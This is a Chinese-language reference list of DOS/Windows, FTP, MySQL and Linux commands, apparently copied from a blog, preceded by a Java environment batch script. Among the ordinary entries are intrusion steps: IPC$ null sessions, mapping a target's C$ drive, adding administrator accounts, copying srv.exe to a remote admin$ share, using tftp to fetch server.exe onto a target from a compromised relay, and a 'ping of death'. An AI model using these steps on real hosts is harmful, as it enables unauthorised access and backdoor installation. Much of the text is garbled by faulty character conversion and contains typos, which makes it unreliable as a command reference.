//用於表示批處理文件的參數0爲命令,共1-9個參數。Shift                     //用於向前一個參數,原1變0,原2變1.每調用一次shift向前一移動一位。Call               //調用其餘批處理文件或命令。Start 命令 參數   //指示出在另外一個窗口中開始運行命令。=============================================================:: 這段批處理程序能夠自動設置Java環境變量@echo offIF EXIST %1\bin\java.exe (rem 如輸入正確的 Java2SDK 安裝目錄,開始設置環境變量@setx JAVA_HOME %1@setx path %path%;%JAVA_HOME%\bin@setx classpath %classpath%;.@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar@echo on@echo Java 2 SDK 環境參數設置完畢,正常退出。) ELSE (IF "%1"=="" (rem 如沒有提供安裝目錄,提示以後退出@echo on@echo 沒有提供 Java2SDK 的安裝目錄,不作任何設置,如今退出環境變量設置。) ELSE (rem 若是提供非空的安裝目錄但沒有bin\java.exe,則指定的目錄爲錯誤的目錄@echo on@echo 非法的 Java2SDK 的安裝目錄,不作任何設置,如今退出環境變量設置。))dos命令參考~~~net use \\ip\ipc$ " " /user:" "  創建IPC空連接net use \\ip\ipc$ "密碼" /user:"用戶名"  創建IPC非空連接net use h: \\ip\c$ "密碼" /user:"用戶名"  直接登錄後映射對方C:到本地爲H:net use h: \\ip\c$  登錄後映射對方C:到本地爲H:net use \\ip\ipc$ /del  刪除IPC連接net use h: /del  刪除映射對方到本地的爲H:的映射net user 用戶名 密碼 /add  創建用戶net user guest /active:yes  激活guest用戶net user  查看有哪些用戶net user 賬戶名  查看賬戶的屬性net localgroup administrators 用戶名 /add  把「用戶」添加到管理員中使其具備管理員權限,注意:administrator後加s用複數net start  查看開啓了哪些服務net start 服務名   開啓服務;(如:net start telnet, net start schedule)net stop 服務名  中止某服務net time \\目標ip  查看對方時間net time \\目標ip /set  設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息net view  查看本地局域網內開啓了哪些共享net view \\ip  查看對方局域網內開啓了哪些共享net config  顯示系統網絡設置net logoff  斷開鏈接的共享net pause 服務名  暫停某服務net send ip "文本信息"  向對方發信息net ver  局域網內正在使用的網絡鏈接類型和信息net share  查看本地開啓的共享net share ipc$  開啓ipc$共享net share ipc$ /del  刪除ipc$共享net share c$ /del  刪除C:共享net user guest 12345  用guest用戶登錄後用將密碼改成12345net password 密碼  更改系統登錄密碼netstat -a  查看開啓了哪些端口,經常使用netstat -annetstat -n  查看端口的網絡鏈接狀況,經常使用netstat -annetstat -v  查看正在進行的工做netstat -p 協議名 例:netstat -p tcq/ip  查看某協議使用狀況(查看tcp/ip協議使用狀況)netstat -s  查看正在使用的全部協議使用狀況nbtstat -A ip  對方136到139其中一個端口開了的話,就可查看對方最近登錄的用戶名(03前的爲用戶名)-注意:參數-A要大寫tracert -參數 ip(或計算機名)  跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。ping ip(或域名)  向對方主機發送默認大小爲32字節的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。ping -t -l 65550 ip  死亡之ping(發送大於K的文件並一直ping就成了死亡之ping)ipconfig (winipcfg)  用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示所有配置信息tlist -t  以樹行列表顯示進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)kill -F 進程名  加-F參數後強制結束某進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)del -F 文件名  加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔之外的文件。例如「DEL/AR *.*」表示刪除當前目錄下全部只讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件之外的全部文件del /S /Q 目錄 或用:rmdir /s /Q 目錄  /S刪除目錄及目錄下的全部子目錄和文件。同時使用參數/Q 可取消刪除操做時的系統確認就直接刪除。(二個命令做用相同)move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名  移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋fc one.txt two.txt > 3st.txt  對比二個文件並把不一樣之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令at id號  開啓已註冊的某個計劃任務at /delete  中止全部計劃任務,用參數/yes則不須要確認就直接中止at id號 /delete  中止某個已註冊的計劃任務at  查看全部的計劃任務at \\ip time 程序名(或一個命令) /r  在某時間運行對方某程序並從新啓動計算機finger username @host  查看最近有哪些用戶登錄telnet ip 端口  遠和登錄服務器,默認端口爲23open ip  鏈接到IP(屬telnet登錄後的命令)telnet  在本機上直接鍵入telnet 將進入本機的telnetcopy 路徑\文件名1 路徑\文件名2 /y  複製文件1到指定的目錄爲文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件copy c:\srv.exe \\ip\admin$  複製本地c:\srv.exe到對方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg  將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*  複製對方admini$共享下的srv.exe文件(全部文件)至本地C:xcopy 要複製的文件或目錄樹 目標地址\目錄名  複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件tftp -i 本身IP(用肉機做跳板時這用肉機IP) get server.exe c:\server.exe 登錄後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送tftp -i 對方IP put c:\server.exe  登錄後,上傳本地c:\server.exe至主機ftp ip 端口  用於上傳文件至服務器或進行文件操做,默認端口爲21。bin指用二進制方式傳送(可執行文件進);默認爲ASCII格式傳送(文本文件時)route print  顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interfacearp  查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出所有信息start 程序名或命令 /max 或/min  新開一個新窗口並最大化(最小化)運行某程序或命令mem  查看cpu使用狀況attrib 文件名(目錄名)  查看某文件(目錄)的屬性attrib 文件名 -A -R -S -H 或 +A +R +S +H  去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加爲某屬性dir  查看文件,參數:/Q顯示文件及目錄屬系統哪一個用戶,/T:C顯示文件建立時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而沒必要輸入新日期和時間set 指定環境變量名稱=要指派給變量的字符  設置環境變量set  顯示當前全部的環境變量set p(或其它字符)  顯示出當前以字符p(或其它字符)開頭的全部環境變量pause  暫停批處理程序,並顯示出:請按任意鍵繼續....if  在批處理程序中執行條件處理(更多說明見if命令及變量)goto 標籤  將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)call 路徑\批處理文件名  從批處理程序中調用另外一個批處理程序 (更多說明見call /?)for  對一組文件中的每個文件執行某個特定命令(更多說明見for命令及變量)echo on或off  打開或關閉echo,僅用echo不加參數則顯示當前echo設置echo 信息  在屏幕上顯示出信息echo 信息 >> pass.txt  將"信息"保存到pass.txt文件中findstr "Hello" aa.txt  在aa.txt文件中尋找字符串hellofind 文件名  查找某文件title 標題名字  更改CMD窗口標題名字color 顏色值  設置cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白prompt 名稱  更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改成:EntSky\ )print 文件名  打印文本文件2ver  在DOS窗口下顯示版本信息winver  彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)format 盤符 /FS:類型  格式化磁盤,類型:FAT、FAT3二、NTFS ,例:Format D: /FS:NTFSmd 目錄名  建立目錄replace 源文件 要替換文件的目錄  替換文件ren 原文件名 新文件名  重命名文件名tree  以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱type 文件名  顯示文本文件的內容more 文件名 逐屏顯示輸出文件doskey 要鎖定的命令=字符doskey 要解鎖命令= 爲DOS提供的鎖定命令(編輯命令行,從新調用win2k命令,並建立宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=taskmgr 調出任務管理器chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就能夠更改telnet服務默認端口23爲其它任何端口exit  退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exepath 路徑\可執行文件的文件名 爲可執行文件設置一個路徑。cmd 啓動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啓命令擴展;更我詳細說明見cmd /?regedit /s 註冊表文件名  導入註冊表;參數/S指安靜模式導入,無任何提示;regedit /e 註冊表文件名 導出註冊表cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問權限;/G 用戶名:perm 賦予指定用戶訪問權限;Perm 能夠是: N 無,R 讀取, W 寫入, C 更改(寫入),F 徹底控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。cacls 文件名  查看文件的訪問用戶權限列表REM 文本內容  在批處理文件中添加註解netsh  查看或更改本地網絡配置狀況IIS服務命令:iisreset /reboot  重啓win2k計算機(但有提示系統將重啓信息出現)iisreset /start或stop  啓動(中止)全部Internet服務iisreset /restart  中止而後從新啓動全部Internet服務iisreset /status  顯示全部Internet服務狀態iisreset /enable或disable  在本地系統上啓用(禁用)Internet服務的從新啓動iisreset /rebootonerror  當啓動、中止或從新啓動Internet服務時,若發生錯誤將從新開機iisreset /noforce  若沒法中止Internet服務,將不會強制終止Internet服務iisreset /timeout  Val在到達逾時間(秒)時,仍未中止Internet服務,若指定/rebootonerror參數,則電腦將會從新開機。預設值爲從新啓動20秒,中止60秒,從新開機0秒。FTP 命令: (後面有詳細說明內容)ftp的命令行格式爲:ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的全部響應信息。-d 使用調試方式。-n 限制ftp的自動登陸,即不使用.netrc文件。-g 取消全局文件名。help [命令] 或 /?[命令] 查看命令說明bye 或 quit 終止主機FTP進程,並退出FTP管理方式.pwd 列出當前遠端主機目錄put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中mget [remote-files]  從遠端主機接收一批文件至本地主機mput local-files 將本地主機中一批文件傳送至遠端主機dir 或 ls [remote-directory] [local-file]  列出當前遠端主機目錄中的文件.若是有本地文件,就將結果寫至本地文件ascii 設定以ASCII方式傳送文件(缺省值)bin 或 image 設定以二進制方式傳送文件bell 每完成一次文件傳送,報警提示cdup 返回上一級目錄close 中斷與遠程服務器的ftp會話(與open對應)open host[port] 創建指定ftp服務器鏈接,可指定鏈接端口delete 刪除遠端主機中的文件mdelete [remote-files] 刪除一批文件mkdir directory-name 在遠端主機中創建目錄rename [from] [to] 改變遠端主機中的文件名rmdir directory-name 刪除遠端主機中的目錄status 顯示當前FTP的狀態system 顯示遠端主機系統類型user user-name [password] [account] 從新以別的用戶名登陸遠端主機open host [port] 從新創建一個新的鏈接prompt 交互提示模式macdef 定義宏命令lcd 改變當前本地主機的工做目錄,若是缺省,就轉到當前用戶的HOME目錄chmod 改變遠端主機的文件權限case 當爲ON時,用MGET命令拷貝的文件名到本地機器中,所有轉換爲小寫字母cd remote-dir 進入遠程主機目錄cdup 進入遠程主機目錄的父目錄! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zipMYSQL 命令:mysql -h主機地址 -u用戶名 -p密碼 鏈接MYSQL;若是剛安裝好MYSQL,超級用戶root是沒有密碼的。(例:mysql -h110.110.110.110 -Uroot -P123456注:u與root能夠不用加空格,其它也同樣)exit 退出MYSQLmysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼grant select on 數據庫.* to 用戶名@登陸主機 identified by \"密碼\"; 增長新用戶。(注意:和上面不一樣,下面的由於是MYSQL環境中的命令,因此後面都帶一個分號做爲命令結束符)show databases;  顯示數據庫列表。剛開始時才兩個數據庫:mysql和test。mysql庫很重要它裏面有MYSQL的系統信息,咱們改密碼和新增用戶,實際上就是用這個庫進行操做。use mysql;show tables;  顯示庫中的數據表describe 表名; 顯示數據表的結構create database 庫名;  建庫use 庫名;create table 表名 (字段設定列表); 建表drop database 庫名;drop table 表名; 刪庫和刪表delete from 表名;  將表中記錄清空select * from 表名; 顯示錶中的記錄mysqldump --opt school>school.bbb  備份數據庫:(命令在DOS的\\mysql\\bin目錄下執行);註釋:將數據庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。win2003系統下新增命令(實用部份):shutdown /參數  關閉或重啓本地或遠程主機。參數說明:/S 關閉主機,/R 重啓主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。例:shutdown /r /t 0 當即重啓本地主機(無延時)taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。參數說明:/PID 要終止進程的pid,可用tasklist命令得到各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啓動的子進程。tasklist  顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每一個進程對應的服務,無參數時就只列出當前的進程。Linux系統下基本命令: 要區分大小寫uname  顯示版本信息(同win2K的 ver)dir  顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)pwd  查詢當前所在的目錄位置cd  cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。cat 文件名  查看文件內容cat >abc.txt  往abc.txt文件中寫上內容。more 文件名  以一頁一頁的方式顯示一個文本文件。cp  複製文件mv  移動文件rm 文件名  刪除文件,rm -a 目錄名刪除目錄及子目錄mkdir 目錄名  創建目錄rmdir  刪除子目錄,目錄內沒有文檔。chmod 設定檔案或目錄的存取權限grep 在檔案中查找字符串diff 檔案文件比較find 檔案搜尋date  如今的日期、時間who  查詢目前和你使用同一臺機器的人以及Login時間地點w 查詢目前上機者的詳細資料whoami  查看本身的賬號名稱groups 查看某人的Grouppasswd 更改密碼history 查看本身下過的命令ps 顯示進程狀態kill 中止某進程gcc 黑客一般用它來編譯C語言寫的文件su  權限轉換爲指定使用者telnet IP  telnet鏈接對方主機(同win2K),當出現bash$時就說明鏈接成功。ftp ftp鏈接上某服務器(同win2K)Windows 排程範例若要在 Windows 系統上啟動自動化的備份工做,排程服務必須執行中。您能夠利用下列指令來啟動這個服務:   net start schedule若是排程服務正在執行中,則工做能夠利用 at 指令來加以排程,這個指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內容能夠在Windows 的備份排程元素找到)。若是您想要在每個星期五的下午 8 點整執行這個指令,則必須呼叫下列指令:   at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd
相關文章
相關標籤/搜索